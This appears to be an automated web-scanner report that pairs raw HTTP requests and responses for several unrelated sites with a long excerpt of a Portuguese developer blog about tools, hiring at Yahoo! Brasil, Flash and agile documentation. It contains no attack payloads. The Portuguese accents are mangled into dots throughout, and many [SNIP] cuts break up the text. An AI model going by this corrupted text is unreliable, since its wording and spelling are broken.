<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
GET /college-degrees.aspx?src=168186&siteid=se1+sn&client=ca-dp-sphere_related_xml HTTP/1.1 Host: contact.collinscollege.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response contains the following links to other domains:
http://www.e-classifieds.net/
http://www.hagenhosting.com/
http://www.hagensoftware.com/
Request
GET /cgi-bin/classifieds/classifieds.cgi?db=personals HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:25 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 52149
The response contains the following links to other domains:
http://www.e-classifieds.net/
http://www.hagenhosting.com/
http://www.hagensoftware.com/
Request
GET /cgi-bin/surveys/survey.cgi?db=aad_look&website=&language=&display_past_polls=on HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:28 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 47923
GET /viewer?a=v&q=cache:&hl=en&gl=us&pid=bl&srcid=ADGEESi?hl=en&tab=wo HTTP/1.1 Host: docs.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 15:23:35 GMT Expires: Wed, 19 Jan 2011 15:23:35 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=5"> <script type="text/javascript"> (fun ...[SNIP]... </a> <a target=_blank href="http://www.youtube.com/?tab=o1" class=gb2>YouTube</a> ...[SNIP]... <a title="Back to Google Docs" href="//docs.google.com/"><img border="0" id="docs-logo" src="//ssl.gstatic.com/docs/common/logo/docs_logo_sm.gif" width="122" alt="Google Docs logo"></a> ...[SNIP]...
GET /?utm_source=blogger&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatch HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:07 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207116
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: gc.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:14 GMT Server: Apache/2.2.10 (CentOS) X-Pingback: http://gc.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 105465
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head p ...[SNIP]... <p>O <a href="http://duodra.co/post/seu-ambiente-de-trabalho-em-7-itens/" onclick="urchinTracker('/outgoing/duodra.co/post/seu-ambiente-de-trabalho-em-7-itens/?referer=');">Anderson Casimiro</a> (<a href="http://twitter.com/duodraco" onclick="urchinTracker('/outgoing/twitter.com/duodraco?referer=');">@duodraco</a>) come..ou um <a href="http://en.wikipedia.org/wiki/Internet_meme" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Internet_meme?referer=');">meme</a> ...[SNIP]... /strong>. Nele voc.. escreve sobre quaisquer 7 coisas do seu ambiente de trabalho que achar mais interessantes e em seguida indica de 3 a 5 pesoas para fazerem o mesmo. O Anderson passou o meme para o <a href="http://ianntech.com.br/2010/12/18/meu-ambiente-de-trabalho-em-7-itens/" onclick="urchinTracker('/outgoing/ianntech.com.br/2010/12/18/meu-ambiente-de-trabalho-em-7-itens/?referer=');">Ivo Nascimento</a> (<a href="http://twitter.com/ivonascimento" onclick="urchinTracker('/outgoing/twitter.com/ivonascimento?referer=');">@ivonascimento</a>), que depois mandou para o <a href="http://www.brgomes.com/blog/meu-ambiente-de-trabalho-em-7-itens/" onclick="urchinTracker('/outgoing/www.brgomes.com/blog/meu-ambiente-de-trabalho-em-7-itens/?referer=');">Bruno Roberto Gomes</a> (<a href="http://twitter.com/brgomes" onclick="urchinTracker('/outgoing/twitter.com/brgomes?referer=');">@brgomes</a>) e por fim para o <a href="http://www.hlegius.pro.br/meu-ambiente-de-trabalho-em-7-itens/" onclick="urchinTracker('/outgoing/www.hlegius.pro.br/meu-ambiente-de-trabalho-em-7-itens/?referer=');">H..lio Costa</a> (<a href="http://twitter.com/hlegius" onclick="urchinTracker('/outgoing/twitter.com/hlegius?referer=');">@hlegius</a> ...[SNIP]... <p>O <a href="http://git-scm.com" onclick="urchinTracker('/outgoing/git-scm.com?referer=');">Git</a> ...[SNIP]... <p>O <a href="https://github.com/guilhermechapiewski/" onclick="urchinTracker('/outgoing/github.com/guilhermechapiewski/?referer=');">Github</a> faz o Git – que ja .. fant..stico – ficar ainda melhor. O Github mudou para melhor a forma de colabora....o entre desenvolvedores em projetos <a href="http://en.wikipedia.org/wiki/Open_source" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Open_source?referer=');">open source</a>. Basta voc.. criar um clone remoto do projeto que deseja contribuir, fazer suas altera....es e fazer um <a href="http://help.github.com/pull-requests/" onclick="urchinTracker('/outgoing/help.github.com/pull-requests/?referer=');">“pull request”</a>. Voc.. pode adicionar colaboradores nos seus reposit..rios ou at.. mesmo criar <a href="https://github.com/horaextra" onclick="urchinTracker('/outgoing/github.com/horaextra?referer=');">um time de colaboradores</a>. Isso .. mais ou menos o que as pessoas j.. faziam antes, <a href="http://www.eqqon.com/index.php/Collaborative_Github_Workflow" onclick="urchinTracker('/outgoing/www.eqqon.com/index.php/Collaborative_Github_Workflow?referer=');">o Github apenas entendeu esse processo e criou uma ferramenta excelente para suport..-lo com algumas melhorias</a>. E isso tudo n..o serve apenas para projetos abertos n..o, voc.. pode fazer como eu (e muita gente) e por <a href="https://github.com/plans" onclick="urchinTracker('/outgoing/github.com/plans?referer=');">alguns m..seros d..lares</a> ...[SNIP]... <p>O <a href="http://code.google.com/appengine/" onclick="urchinTracker('/outgoing/code.google.com/appengine/?referer=');">Google App Engine</a> tamb..m .. um absurdo. Com ele voc.. pode desenvolver aplica....es <a href="http://code.google.com/appengine/docs/python/overview.html" onclick="urchinTracker('/outgoing/code.google.com/appengine/docs/python/overview.html?referer=');">Python</a> ou <a href="http://code.google.com/appengine/docs/java/overview.html" onclick="urchinTracker('/outgoing/code.google.com/appengine/docs/java/overview.html?referer=');">Java</a> num estalar de dedos e coloc..-las para funcionar numa infraestrutura bastante confi..vel e r..pida. O App Engine oferece banco de dados, cache, storage e <a href="http://code.google.com/appengine/docs/whatisgoogleappengine.html" onclick="urchinTracker('/outgoing/code.google.com/appengine/docs/whatisgoogleappengine.html?referer=');">v..rias coisas ..teis</a> que te ajudam a focar na sua aplica....o e esquecer a infraestrutura. Para os <a href="http://rubyonrails.org" onclick="urchinTracker('/outgoing/rubyonrails.org?referer=');">Railers</a> que l..em este blog, o <a href="http://heroku.com" onclick="urchinTracker('/outgoing/heroku.com?referer=');">Heroku</a> ...[SNIP]... <p>O <a href="http://www.vmware.com/products/fusion/" onclick="urchinTracker('/outgoing/www.vmware.com/products/fusion/?referer=');">VMWare Fusion</a> ...[SNIP]... ter v..rios sistemas operacionais com diferentes browsers para testar minhas aplica....es web em uma m..quina s... Al..m disso, como trabalho muitas vezes desenvolvendo coisas que ser..o servidas com <a href="http://www.redhat.com/rhel/" onclick="urchinTracker('/outgoing/www.redhat.com/rhel/?referer=');">Red Hat Enterprise Linux</a> ou <a href="http://www.centos.org" onclick="urchinTracker('/outgoing/www.centos.org?referer=');">CentOS</a>, posso facilmente criar ambientes de desenvolvimento locais com esses sistemas operacionais e continuar trabalhando no conforto do meu <a href="http://www.apple.com/macosx/" onclick="urchinTracker('/outgoing/www.apple.com/macosx/?referer=');">Mac</a> ...[SNIP]... <p>Todo mundo tem seu editor preferido, e o meu .. o <a href="http://macromates.com" onclick="urchinTracker('/outgoing/macromates.com?referer=');">TextMate</a> ...[SNIP]... linguagem que j.. precisei at.. hoje, suportar sistemas de controle de vers..o, e por a.. vai. Infelizmente n..o consigo us..-lo para todas as linguagens que trabalho. Por exemplo, quando programo em <a href="http://java.sun.com" onclick="urchinTracker('/outgoing/java.sun.com?referer=');">Java</a> ainda prefiro usar o <a href="http://www.eclipse.org" onclick="urchinTracker('/outgoing/www.eclipse.org?referer=');">Eclipse</a>, ou o <a href="http://developer.apple.com/technologies/tools/xcode.html" onclick="urchinTracker('/outgoing/developer.apple.com/technologies/tools/xcode.html?referer=');">XCode</a> para brincar com <a href="http://developer.apple.com/technologies/ios/" onclick="urchinTracker('/outgoing/developer.apple.com/technologies/ios/?referer=');">iOS</a>, mas para todo o resto uso o TextMate (ou, quando em servidores remotos, o <a href="http://www.vim.org" onclick="urchinTracker('/outgoing/www.vim.org?referer=');">Vim</a> ...[SNIP]... <p>N..o tem como sobreviver sem um <a href="http://en.wikipedia.org/wiki/Unix_shell" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Unix_shell?referer=');">shell</a>. Eu costumo usar o Terminal do <a href="http://www.apple.com/macosx/" onclick="urchinTracker('/outgoing/www.apple.com/macosx/?referer=');">Mac OS X</a> com algumas customiza....es, e como shell uso o <a href="http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Bash_28Unix_shell_29?referer=');">Bash</a> ...[SNIP]... l para algumas tarefas de desenvolvimento como usar o Git (incluindo resolver conflitos, prefiro fazer manualmente), buscar arquivos, inspecionar minha m..quina e por a.. vai. Tamb..m costumo escrever <a href="http://en.wikipedia.org/wiki/Shell_script" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Shell_script?referer=');">shell scripts</a> para fazer algumas tarefas pessoais como codificar v..deos com <a href="http://ffmpeg.org" onclick="urchinTracker('/outgoing/ffmpeg.org?referer=');">ffmpeg</a> ...[SNIP]... <p>Os <a href="http://www.apple.com/mac/" onclick="urchinTracker('/outgoing/www.apple.com/mac/?referer=');">Macs</a> ...[SNIP]... nciona e deixa o caminho livre para que eu possa trabalhar. J.. se foi a ..poca em que eu tinha tempo para comprar pe..a por pe..a e montar meu pr..prio computador, ou ent..o ficar re-configurando meu <a href="http://en.wikipedia.org/wiki/Xorg.conf" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Xorg.conf?referer=');">xorg.conf</a> ...[SNIP]... display do MacBook (porque .. gigante). Se voc.. nunca tentou usar dois monitores, n..o perca mais tempo e tente agora, voc.. vai ver a diferen..a. Quanto ao mouse e teclado, durante muito tempo usei <a href="http://www.microsoft.com/hardware/mouseandkeyboard/default.mspx" onclick="urchinTracker('/outgoing/www.microsoft.com/hardware/mouseandkeyboard/default.mspx?referer=');">hardware Microsoft</a> (ali..s, isso eles fazem bem) mas recentemente tenho usado o <a href="http://www.apple.com/magicmouse/" onclick="urchinTracker('/outgoing/www.apple.com/magicmouse/?referer=');">Magic Mouse</a> e um <a href="http://store.apple.com/us/product/MC184LL/A" onclick="urchinTracker('/outgoing/store.apple.com/us/product/MC184LL/A?referer=');">mini teclado sem fio</a>, ambos da <a href="http://www.apple.com" onclick="urchinTracker('/outgoing/www.apple.com?referer=');">Apple</a> ...[SNIP]... <li><a href="http://akitaonrails.com" onclick="urchinTracker('/outgoing/akitaonrails.com?referer=');">Fabio Akita</a> (<a href="http://twitter.com/akitaonrails" onclick="urchinTracker('/outgoing/twitter.com/akitaonrails?referer=');">@akitaonrails</a> ...[SNIP]... <li><a href="http://fabiokung.com" onclick="urchinTracker('/outgoing/fabiokung.com?referer=');">Fabio Kung</a> (<a href="http://twitter.com/fabiokung" onclick="urchinTracker('/outgoing/twitter.com/fabiokung?referer=');">@fabiokung</a> ...[SNIP]... <li><a href="http://gabrielfalcao.com" onclick="urchinTracker('/outgoing/gabrielfalcao.com?referer=');">Gabriel Falc..o</a> (<a href="http://twitter.com/gabrielfalcao" onclick="urchinTracker('/outgoing/twitter.com/gabrielfalcao?referer=');">@gabrielfalcao</a> ...[SNIP]... <li><a href="http://henriquebastos.net" onclick="urchinTracker('/outgoing/henriquebastos.net?referer=');">Henrique Bastos</a> (<a href="http://twitter.com/henriquebastos" onclick="urchinTracker('/outgoing/twitter.com/henriquebastos?referer=');">@henriquebastos</a> ...[SNIP]... <li><a href="http://blog.aspercom.com.br" onclick="urchinTracker('/outgoing/blog.aspercom.com.br?referer=');">Rodrigo Yoshima</a> (<a href="http://twitter.com/rodrigoy" onclick="urchinTracker('/outgoing/twitter.com/rodrigoy?referer=');">@rodrigoy</a> ...[SNIP]... <p>Estamos contratando desenvolvedores para o <a href="http://www.yahoo.com.br" onclick="urchinTracker('/outgoing/www.yahoo.com.br?referer=');">Yahoo! Brasil</a> ...[SNIP]... <p>Nosso time .. respons..vel pelo desenvolvimento e manuten....o do <a href="http://meme.yahoo.com" onclick="urchinTracker('/outgoing/meme.yahoo.com?referer=');">Yahoo! Meme</a>. Para trabalhar conosco .. imprescind..vel ser faixa preta em <a href="http://python.org" onclick="urchinTracker('/outgoing/python.org?referer=');">Python</a>, <a href="http://php.net" onclick="urchinTracker('/outgoing/php.net?referer=');">PHP</a> ou <a href="http://en.wikipedia.org/wiki/JavaScript" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/JavaScript?referer=');">JavaScript</a> ...[SNIP]... <p>T..o ou mais importante do que isso .. ter ..timos conhecimentos sobre <a href="http://en.wikipedia.org/wiki/Agile_software_development" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Agile_software_development?referer=');">desenvolvimento ..gil</a> (especialmente <a href="http://en.wikipedia.org/wiki/Extreme_Programming" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Extreme_Programming?referer=');">XP</a>), conhecer ferramentas de <a href="http://en.wikipedia.org/wiki/Unit_testing" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Unit_testing?referer=');">testes unit..rios</a>, ser capaz de trabalhar com <a href="http://en.wikipedia.org/wiki/Test-driven_development" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Test-driven_development?referer=');">TDD</a>, entender sobre <a href="http://en.wikipedia.org/wiki/Continuous_integration" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Continuous_integration?referer=');">CI</a> ...[SNIP]... </a> de rotinas/build/etc., melhores pr..ticas de desenvolvimento de software, <a href="http://en.wikipedia.org/wiki/Object-oriented_programming" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Object-oriented_programming?referer=');">Orienta....o .. Objetos</a>, <a href="http://en.wikipedia.org/wiki/Domain-driven_design" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Domain-driven_design?referer=');">Domain-Driven Design</a> e tudo mais que puder ser relevante para ajudar a construir software confi..vel e <a href="http://www.dicio.com.br/manutenivel/" onclick="urchinTracker('/outgoing/www.dicio.com.br/manutenivel/?referer=');">manuten..vel</a> de forma r..pida e com ritmo/qualidade sustent..vel. Experi..ncia com automatiza....o de testes com <a href="http://seleniumhq.org" onclick="urchinTracker('/outgoing/seleniumhq.org?referer=');">Selenium ou Webdriver</a> tamb..m .. essencial. Como trabalhamos com web, tamb..m .. necess..rio ter conhecimento em <a href="http://en.wikipedia.org/wiki/HTML" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/HTML?referer=');">HTML</a>, <a href="http://en.wikipedia.org/wiki/Cascading_Style_Sheets" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Cascading_Style_Sheets?referer=');">CSS</a> e desenvolvimento de aplica....es <a href="http://en.wikipedia.org/wiki/Cross-browser" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Cross-browser?referer=');">cross-browser</a> ...[SNIP]... produtos de escala mundial, .. necess..rio ter experi..ncia com aplica....es de alta performance e disponibilidade, identifica....o e otimiza....o de gargalos de performance, escalabilidade, caching e <a href="http://en.wikipedia.org/wiki/Shard_%28database_architecture%29" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Shard_28database_architecture_29?referer=');">sharding</a>. .. importante tamb..m ter bons conhecimentos de pelo menos um tipo de <a href="http://en.wikipedia.org/wiki/Unix" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Unix?referer=');">Unix</a> ...[SNIP]... <p>Conhecimentos em <a href="http://en.wikipedia.org/wiki/C_(programming_language)" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/C_programming_language?referer=');">C</a>, <a href="http://en.wikipedia.org/wiki/C%2B%2B" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/C_2B_2B?referer=');">C++</a>, <a href="http://en.wikipedia.org/wiki/Service-oriented_architecture" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Service-oriented_architecture?referer=');">arquitetura de servi..os</a>, desenvolvimento de <a href="http://en.wikipedia.org/wiki/Mashup_%28web_application_hybrid%29" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Mashup_28web_application_hybrid_29?referer=');">mashups</a>, experi..ncia com uso e desenvolvimento de <a href="http://www.programmableweb.com/apis" onclick="urchinTracker('/outgoing/www.programmableweb.com/apis?referer=');">APIs</a> (<a href="http://en.wikipedia.org/wiki/REST" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/REST?referer=');">REST</a>, <a href="http://developer.yahoo.com/yql/" onclick="urchinTracker('/outgoing/developer.yahoo.com/yql/?referer=');">YQL</a>, etc.) e experi..ncia em desenvolvimento para <a href="http://developer.apple.com/devcenter/ios/index.action" onclick="urchinTracker('/outgoing/developer.apple.com/devcenter/ios/index.action?referer=');">iPhone/iPad</a> ...[SNIP]... <p>A empresa oferece contrata....o apenas por CLT e benef..cios como plano de sa..de e vale refei....o. Estamos localizados na <a href="http://maps.google.com/maps?rls=en&q=rua+fidencio+ramos+sao+paulo&oe=UTF-8&um=1&ie=UTF-8&hq=&hnear=R.+Fid..ncio+Ramos+-+Itaim+Bibi,+S..o+Paulo+-+SP,+04551-010,+Brasil" onclick="urchinTracker('/outgoing/maps.google.com/maps?rls=en_038_q=rua+fidencio+ramos+sao+paulo_038_oe=UTF-8_038_um=1_038_ie=UTF-8_038_hq=_038_hnear=R.+Fid_ncio+Ramos+-+Itaim+Bibi_+S_o+Paulo+-+SP_+04551-010_+Brasil&referer=');">Vila Ol..mpia em S..o Paulo</a> ...[SNIP]... <strong>Se voc.. se encaixa neste perfil, envie seu curriculo em ingl..s para mim (gc AT yahoo-inc.com) com uma lista dos ..ltimos 3 livros t..cnicos que leu. N..o esque..a de colocar links para o seu <a href="http://twitter.com" onclick="urchinTracker('/outgoing/twitter.com?referer=');">Twitter</a>, <a href="http://linkedin.com" onclick="urchinTracker('/outgoing/linkedin.com?referer=');">LinkedIn</a>, <a href="http://github.com" onclick="urchinTracker('/outgoing/github.com?referer=');">GitHub</a> ...[SNIP]... ir para l.., mas primeiro queria ver se eles n..o estavam com fila de espera tamb..m. Quando entrei no site do restaurante para pegar o telefone e ligar… n..o funcionou porque o site .. feito em <a href="http://www.adobe.com/products/flashplayer/" onclick="urchinTracker('/outgoing/www.adobe.com/products/flashplayer/?referer=');">Flash</a> – que n..o funciona no <a href="http://www.apple.com/iphone/" onclick="urchinTracker('/outgoing/www.apple.com/iphone/?referer=');">iPhone</a>.</p> <p>Quem me acompanha no <a href="http://twitter.com/gchapiewski" onclick="urchinTracker('/outgoing/twitter.com/gchapiewski?referer=');">Twitter</a> j.. deve ter percebido h.. tempos que eu n..o sou muito f.. de Flash, mas quando eu fa..o os meus “<a href="http://en.wikipedia.org/wiki/Rant" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Rant?referer=');">rants</a> ...[SNIP]... <p>Se f..ssemos discutir esse epis..dio do ponto de vista do usu..rio, a primeira coisa que algu..m falaria seria “ah, voc.. deveria ter um <a href="http://www.android.com" onclick="urchinTracker('/outgoing/www.android.com?referer=');">Android</a> ...[SNIP]... <p>A maioria das informa....es dos sites em Flash ficam dentro de um arquivo compilado que n..o .. lido pelos “<a href="http://pt.wikipedia.org/wiki/Web_crawler" onclick="urchinTracker('/outgoing/pt.wikipedia.org/wiki/Web_crawler?referer=');">crawlers</a> ...[SNIP]... <p>Pessoas com defici..ncia visual utilizam “<a href="http://www.disabled-world.com/assistivedevices/computer/screen-readers.php" onclick="urchinTracker('/outgoing/www.disabled-world.com/assistivedevices/computer/screen-readers.php?referer=');">screen readers</a> ...[SNIP]... ituem a barra de rolagem nativa do navegador por uma espec..fica do Flash. Esse sim .. um problema terr..vel, porque at.. o scroll do mouse para de funcionar. Quer ver como .. perturbador? Ent..o veja <a href="http://www.upfrontstage.com.br" onclick="urchinTracker('/outgoing/www.upfrontstage.com.br?referer=');">este site</a> ...[SNIP]... <p>Veja <a href="http://www.modamercatto.com.br" onclick="urchinTracker('/outgoing/www.modamercatto.com.br?referer=');">este site</a>. Eu que n..o sou nenhum especialista em <a href="http://en.wikipedia.org/wiki/User_experience" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/User_experience?referer=');">UX</a> ...[SNIP]... anda fizeram com que o trackpad do meu notebook n..o funcione corretamente, proporcionando assim a maneira mais lenta e tediosa poss..vel de rolar para achar a informa....o que eu preciso. Agora veja <a href="http://www.espacofashion.com.br" onclick="urchinTracker('/outgoing/www.espacofashion.com.br?referer=');">este outro site</a> ...[SNIP]... <p>Sites em Flash n..o funcionam em <a href="http://www.apple.com/iphone/" onclick="urchinTracker('/outgoing/www.apple.com/iphone/?referer=');">iPhones</a> e <a href="http://www.apple.com/ipad/" onclick="urchinTracker('/outgoing/www.apple.com/ipad/?referer=');">iPads</a> ...[SNIP]... siva de aparelhos. Assim como voc.. se preocupa em desenvolver sites compat..veis com v..rios navegadores, voc.. precisa se preocupar com dispositivos m..veis. Seria muito mais f..cil desenvolver para <a href="http://br.mozdev.org" onclick="urchinTracker('/outgoing/br.mozdev.org?referer=');">Firefox</a> somente, mas infelizmente h.. um grande n..mero de usu..rios que usam <a href="http://www.microsoft.com/brasil/windows/internet-explorer/" onclick="urchinTracker('/outgoing/www.microsoft.com/brasil/windows/internet-explorer/?referer=');">Internet Explorer</a> (incluindo <a href="http://ie6update.com" onclick="urchinTracker('/outgoing/ie6update.com?referer=');">IE6</a> ...[SNIP]... <p>Existem um monte de ferramentas que te permitem criar sites funcionais, r..pidos, acess..veis e eficientes. Mais recentemente com o <a href="http://pt.wikipedia.org/wiki/HTML5" onclick="urchinTracker('/outgoing/pt.wikipedia.org/wiki/HTML5?referer=');">HTML5</a>, muitas das coisas que antes s.. eram poss..veis com Flash (ou <a href="http://silverlight.net" onclick="urchinTracker('/outgoing/silverlight.net?referer=');">Silverlight</a> ...[SNIP]... <p>H.. n..o muito tempo uma pessoa me procurou no <a href="http://en.wikipedia.org/wiki/Instant_messaging" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Instant_messaging?referer=');">IM</a> para conversar sobre sua carreira. Ela me disse que no momento estava fazendo um curso de <a href="http://www.java.com" onclick="urchinTracker('/outgoing/www.java.com?referer=');">Java</a> e me perguntou o que exatamente ela precisava para trabalhar numa empresa como o <a href="http://yahoo.com" onclick="urchinTracker('/outgoing/yahoo.com?referer=');">Yahoo!</a> ...[SNIP]... ntes s.. est..o dispon..veis em ingl..s. Poucos t..tulos s..o traduzidos e quando s..o levam alguns meses (ou anos) para tal, isso sem contar que as tradu....es muitas vezes s..o ruins. Por exemplo, o <a href="http://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/" onclick="urchinTracker('/outgoing/www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/?referer=');"><em> ...[SNIP]... </a> do <a href="http://domaindrivendesign.org/about" onclick="urchinTracker('/outgoing/domaindrivendesign.org/about?referer=');">Eric Evans</a> levou aproximadamente 5 anos para ser traduzido, o <a href="http://www.amazon.com/Patterns-Enterprise-Application-Architecture-Martin/dp/0321127420/" onclick="urchinTracker('/outgoing/www.amazon.com/Patterns-Enterprise-Application-Architecture-Martin/dp/0321127420/?referer=');"><em> ...[SNIP]... </a> do <a href="http://martinfowler.com" onclick="urchinTracker('/outgoing/martinfowler.com?referer=');">Martin Fowler</a> ...[SNIP]... </a>), mas grandes nomes como <a href="http://www.objectmentor.com/omTeam/martin_r.html" onclick="urchinTracker('/outgoing/www.objectmentor.com/omTeam/martin_r.html?referer=');">Robert Martin</a>, <a href="http://alistair.cockburn.us" onclick="urchinTracker('/outgoing/alistair.cockburn.us?referer=');">Alistair Cockburn</a>, <a href="http://www.threeriversinstitute.org/blog/" onclick="urchinTracker('/outgoing/www.threeriversinstitute.org/blog/?referer=');">Kent Beck</a> – e mais algumas dezenas que eu poderia citar – escrevem em ingl..s. Isso sem contar as d..zias de blogs como o <a href="http://techcrunch.com" onclick="urchinTracker('/outgoing/techcrunch.com?referer=');">TechCrunch</a>, <a href="http://mashable.com" onclick="urchinTracker('/outgoing/mashable.com?referer=');">Mashable</a>, <a href="http://highscalability.com/blog/" onclick="urchinTracker('/outgoing/highscalability.com/blog/?referer=');">High Scalability</a> ou at.. mesmo o <a href="http://xkcd.com" onclick="urchinTracker('/outgoing/xkcd.com?referer=');">xkcd</a> ...[SNIP]... <p>Em terceiro lugar, a maioria dos projetos Open Source relevantes s..o em ingl..s. Por exemplo, voc.. est.. acompanhando o desenvolvimento do <a href="http://nodejs.org" onclick="urchinTracker('/outgoing/nodejs.org?referer=');">Node.js</a>? Voc.. j.. estudou <a href="http://clojure.org" onclick="urchinTracker('/outgoing/clojure.org?referer=');">Clojure</a>? E o <a href="http://rubyonrails.org" onclick="urchinTracker('/outgoing/rubyonrails.org?referer=');">Rails 3</a>? <a href="http://en.wikipedia.org/wiki/Linux" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Linux?referer=');">Linux</a>? <a href="http://python.org" onclick="urchinTracker('/outgoing/python.org?referer=');">Python</a>? Projetos da <a href="http://apache.org" onclick="urchinTracker('/outgoing/apache.org?referer=');">Apache Foundation</a> ...[SNIP]... <p>Existe um mito de que n..o se documenta em projetos que usam <a href="http://pt.wikipedia.org/wiki/Desenvolvimento_%C3%A1gil_de_software" onclick="urchinTracker('/outgoing/pt.wikipedia.org/wiki/Desenvolvimento_C3_A1gil_de_software?referer=');">metodologias de desenvolvimento ..gil</a> ...[SNIP]... <p>A grande diferen..a entre projetos <a href="http://en.wikipedia.org/wiki/Waterfall_model" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Waterfall_model?referer=');">“tradicionais”</a> ...[SNIP]... esso (que geralmente .. muita coisa). Voc.. n..o pensa no que est.. fazendo, simplesmente segue o que foi definido e escreve documentos. Em m..todos ..geis n..o h.. prescri....o de documenta....o (e o <a href="http://agilemanifesto.org" onclick="urchinTracker('/outgoing/agilemanifesto.org?referer=');">manifesto ..gil fala tamb..m sobre “software funcionando mais do que documenta....o”</a> ...[SNIP]... <p>Assim como voc.. deve <a href="http://www.artima.com/intv/simplest2.html" onclick="urchinTracker('/outgoing/www.artima.com/intv/simplest2.html?referer=');">implementar apenas o necess..rio para entregar uma funcionalidade e n..o mais do que isso</a> ...[SNIP]... <p>Documentar tem que ser r..pido, n..o pode dar trabalho. Use ferramentas como <a href="http://en.wikipedia.org/wiki/Wiki" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Wiki?referer=');">wikis</a>, <a href="http://en.wikipedia.org/wiki/Documentation_generator" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Documentation_generator?referer=');">geradores de documenta....o</a> (como o <a href="http://sphinx.pocoo.org" onclick="urchinTracker('/outgoing/sphinx.pocoo.org?referer=');">Sphinx</a> ...[SNIP]... e ser acessada (e tiver busca) ela fica mais ..til. Al..m disso, prefira usar uma tecnologia f..cil e conhecida para que todos os membros do time possam documentar. Por exemplo, se voc.. escolher usar <a href="http://en.wikipedia.org/wiki/LaTeX" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/LaTeX?referer=');">LaTeX</a> ...[SNIP]... <p>Se o seu projeto precisa de documenta....o por qualquer motivo, a documenta....o deve fazer parte da <a href="http://agilefaq.net/2007/10/24/what-is-definition-of-done/" onclick="urchinTracker('/outgoing/agilefaq.net/2007/10/24/what-is-definition-of-done/?referer=');">“Definition of Done”</a>. .. melhor documentar no momento que as <a href="http://en.wikipedia.org/wiki/User_story" 